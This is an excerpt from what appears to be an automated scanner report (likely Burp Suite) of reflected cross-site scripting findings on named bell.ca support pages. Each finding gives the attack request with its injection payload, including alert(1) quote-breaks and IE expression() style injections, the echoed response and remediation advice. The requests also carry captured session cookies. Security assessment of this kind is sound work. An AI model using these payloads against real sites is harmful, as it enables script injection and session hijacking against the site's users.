Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:22:31 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=bQkSMsyWVGv9gJW5JTgmhKs2MS1pG1VhGGZxTzydGn9DnnKJ1y2G!-765054306; domain=.bell.ca; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:36:37 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:36:37 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:36:37 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:36:37 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 20689

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">


<!-- GPN: QC_DC3CAV_1 -->


<!-- ABValue: false -->


   <html
...[SNIP]...
rvices/PrsSN_Landing.page?regionToggle=true&languageToggle=true&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landing&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landinga8545'-alert(1)-'6952f0cf39f&region=' + region + '&language=en';
        }
       
        //Function for external popups
        function gotoSite(thisUrl, thisWidth,thisHeight,thisTop,thisLeft) {
       
        var url = '/accessibili
...[SNIP]...

2.331. http://www.bell.ca/specialneeds/PrsSN_Landing.page [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /specialneeds/PrsSN_Landing.page

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 632f6'-alert(1)-'6ec00bd22a8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /specialneeds/PrsSN_Landing.page?language=en&region=ON&languageToggle=true&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landing&632f6'-alert(1)-'6ec00bd22a8=1 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:25:23 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=HQbTMspD2d2154ZzvgLm5hBy9m7h4mpYCbrhBgqLkT5BjF91kV2y!-765054306; domain=.bell.ca; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:39:30 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:39:30 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:39:30 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:39:30 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 20693

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">


<!-- GPN: QC_DC3CAV_1 -->


<!-- ABValue: true -->


   <html x
...[SNIP]...
vices/PrsSN_Landing.page?regionToggle=true&languageToggle=true&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landing&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landing&632f6'-alert(1)-'6ec00bd22a8=1&region=' + region + '&language=en';
        }
       
        //Function for external popups
        function gotoSite(thisUrl, thisWidth,thisHeight,thisTop,thisLeft) {
       
        var url = '/accessibi
...[SNIP]...

2.332. http://www.bell.ca/support/PrsCSrvGnl_ContactUs.page [pageLabel parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/PrsCSrvGnl_ContactUs.page

Issue detail

The value of the pageLabel request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2d2e4'%3balert(1)//22d2c5c45c7 was submitted in the pageLabel parameter. This input was echoed as 2d2e4';alert(1)//22d2c5c45c7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /support/PrsCSrvGnl_ContactUs.page?languageToggle=true&language=en&regionToggle=true&region=ON&pageLabel=Internet2d2e4'%3balert(1)//22d2c5c45c7 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:32:02 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=XrhyMsrPCNdwtK1QGLfTpggmt3NJGxgLGxV1CXNhL32PFLHXsRKB!-765054306; domain=.bell.ca; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:46:08 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:46:08 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:46:08 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:46:08 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:46:08 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:46:08 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 170913


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAV_1 -->
       
       <!-- ABValue: false -->
...[SNIP]...
<script type="text/javascript">
openDefaultPage(this,'Internet2d2e4';alert(1)//22d2c5c45c7');
</script>
...[SNIP]...

2.333. http://www.bell.ca/support/PrsCSrvGnl_FAQ_Detail.page [FAQ_ID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/PrsCSrvGnl_FAQ_Detail.page

Issue detail

The value of the FAQ_ID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e902f"%3balert(1)//90d0753aea4 was submitted in the FAQ_ID parameter. This input was echoed as e902f";alert(1)//90d0753aea4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /support/PrsCSrvGnl_FAQ_Detail.page?FAQ_ID=1386e902f"%3balert(1)//90d0753aea4 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:57:34 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=3BkFMtDZZLjCG1lSYSVF50ZWsDYbghFLqhQnP01vMW01RPfnkJvv!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 75500


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAR_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<![CDATA[ */
setPrevDefinedOmniVars();
getREQueryKeys();

s.channel="FAQ";

s.prop10=(typeof s_pageName!="undefined"?s_pageName:"nb:c:cust_care:faq:details:faq_detail:FAQID1386e902f";alert(1)//90d0753aea4");


s.prop19="en";
s.prop20="ns";
s.prop21="en-ns";
s.prop30="Omnitrack.jsp";
s.prop44="";
s.eVar44="";
if(typeof s_tab=="undefined"){
s.pageName=s.prop1
...[SNIP]...

2.334. http://www.bell.ca/support/PrsCSrv_Search.page [faq parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/PrsCSrv_Search.page

Issue detail

The value of the faq request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8027e"%20style%3dx%3aexpression(alert(1))%20721d46ce21b was submitted in the faq parameter. This input was echoed as 8027e" style=x:expression(alert(1)) 721d46ce21b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /support/PrsCSrv_Search.page?question_box=installation&support=true&faq=false8027e"%20style%3dx%3aexpression(alert(1))%20721d46ce21b&lob=television&language=en&province=ON&ui_mode=question&charset=UTF-8 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:01:04 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=zxTFMtGMTH4GHKk8hZnCL552wyhyT1SbR2Tdk2v9Qhw4NPLzbWw2!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 32583


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAR_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<input value="false8027e" style=x:expression(alert(1)) 721d46ce21b" name="faq" type="hidden">
...[SNIP]...

2.335. http://www.bell.ca/support/PrsCSrv_Search.page [lob parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/PrsCSrv_Search.page

Issue detail

The value of the lob request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b9d8"%20style%3dx%3aexpression(alert(1))%20e5b2f4d54dc was submitted in the lob parameter. This input was echoed as 2b9d8" style=x:expression(alert(1)) e5b2f4d54dc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /support/PrsCSrv_Search.page?question_box=installation&support=true&faq=false&lob=television2b9d8"%20style%3dx%3aexpression(alert(1))%20e5b2f4d54dc&language=en&province=ON&ui_mode=question&charset=UTF-8 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:02:42 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=TvlfMtFTc8wBnfmMv6W1tnr1w6JqC7Vg3K7JGs5NQCGcdPyTbQGw!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 33685


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAR_4 -->
       
       <!-- ABValue: false -->
...[SNIP]...
<input value="television2b9d8" style=x:expression(alert(1)) e5b2f4d54dc" name="lob" type="hidden">
...[SNIP]...

2.336. http://www.bell.ca/support/PrsCSrv_Search.page [province parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/PrsCSrv_Search.page

Issue detail

The value of the province request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ac23"%20style%3dx%3aexpression(alert(1))%20e4d2e230f2b was submitted in the province parameter. This input was echoed as 9ac23" style=x:expression(alert(1)) e4d2e230f2b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /support/PrsCSrv_Search.page?question_box=installation&support=true&faq=false&lob=television&language=en&province=ON9ac23"%20style%3dx%3aexpression(alert(1))%20e4d2e230f2b&ui_mode=question&charset=UTF-8 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:04:07 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=wJvvMtFGpJJFygt51Lg6XfWvCj0TGr1GXZDKVkVSMTcwnBx1NQJT!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 31940


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAR_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
<a href="/support/PrsCSrv_Search.page?question_box=installation&support=true&ui_mode=question&lob=television&facetId=Market+Segment.Residential.TV.SPRT_SUPPORT_TV&clear=false&language=en&province=ON9ac23" style=x:expression(alert(1)) e4d2e230f2b&resultLabel=Support&faq=false&transId=2&sprtarticletype=null&supportLob=All Support">
...[SNIP]...

2.337. http://www.bell.ca/support/PrsCSrv_Search.page [question_box parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/PrsCSrv_Search.page

Issue detail

The value of the question_box request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75d56"%20style%3dx%3aexpr/**/ession(alert(1))%202ae03533ef2 was submitted in the question_box parameter. This input was echoed as 75d56" style=x:expr/**/ession(alert(1)) 2ae03533ef2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /support/PrsCSrv_Search.page?question_box=installation75d56"%20style%3dx%3aexpr/**/ession(alert(1))%202ae03533ef2&support=true&faq=false&lob=television&language=en&province=ON&ui_mode=question&charset=UTF-8 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 19:33:30 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CGF
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=f7YbMtyKLpTtdHzy3KfHRnQsVyTDt0HjLxxSdHG734QDwS7qVfS2!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 35027


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAR_4 -->
       
       <!-- ABValue: false -->
...[SNIP]...
<a class= "nextPage" href="/support/PrsCSrv_Search.page?question_box=installation75d56" style=x:expr/**/ession(alert(1)) 2ae03533ef2&faq=false&support=true&ui_mode=question&lob=television&isSearchRefined=false&language=en&province=ON&direction=FORWARD&page_number=0&transId=2" >
...[SNIP]...

2.338. http://www.bell.ca/support/PrsCSrv_Search.page [question_box parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.bell.ca
Path:   /support/PrsCSrv_Search.page

Issue detail

The value of the question_box request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2f0ad"%20a%3db%20622b36c3aff was submitted in the question_box parameter. This input was echoed as 2f0ad" a=b 622b36c3aff in the application's response.

